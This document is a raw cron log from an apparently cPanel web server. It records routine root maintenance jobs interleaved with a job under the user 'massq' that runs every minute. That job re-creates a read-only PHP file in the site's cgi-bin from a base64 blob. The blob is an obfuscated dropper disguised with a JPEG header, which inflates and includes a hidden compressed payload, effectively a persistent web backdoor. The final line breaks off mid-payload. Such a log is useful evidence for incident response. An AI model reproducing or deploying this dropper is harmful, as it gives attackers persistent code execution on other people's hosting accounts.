Sep  6 11:49:01 server CROND[30998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:49:01 server CROND[30999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:49:01 server CROND[31000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:50:01 server CROND[31386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:50:01 server CROND[31387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:50:01 server CROND[31391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:50:01 server CROND[31393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:50:01 server CROND[31395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:50:01 server CROND[31397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:50:01 server CROND[31400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:50:01 server CROND[31399]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 11:50:01 server CROND[31414]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:51:01 server CROND[32304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:51:01 server CROND[32305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:51:01 server CROND[32306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:52:01 server CROND[32678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:52:01 server CROND[32680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:52:01 server CROND[32679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:53:01 server CROND[599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:53:01 server CROND[600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:53:01 server CROND[601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:54:01 server CROND[1000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:54:01 server CROND[1001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:54:01 server CROND[1002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:55:01 server CROND[1545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:55:01 server CROND[1548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:55:01 server CROND[1547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:55:01 server CROND[1552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:55:01 server CROND[1549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:55:01 server CROND[1550]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:55:01 server CROND[1551]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:56:01 server CROND[2510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:56:01 server CROND[2511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:56:01 server CROND[2512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:57:01 server CROND[2923]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 11:57:01 server CROND[2924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:57:01 server CROND[2925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:57:01 server CROND[2926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:58:01 server CROND[3302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:58:01 server CROND[3303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:58:01 server CROND[3304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:59:01 server CROND[3725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:59:01 server CROND[3726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:59:01 server CROND[3727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:00:02 server CROND[4118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:00:02 server CROND[4117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:00:02 server CROND[4128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:00:02 server CROND[4134]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 12:00:02 server CROND[4140]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:00:02 server CROND[4136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:00:02 server CROND[4137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:00:02 server CROND[4141]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  6 12:00:02 server CROND[4138]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 12:00:02 server CROND[4135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IY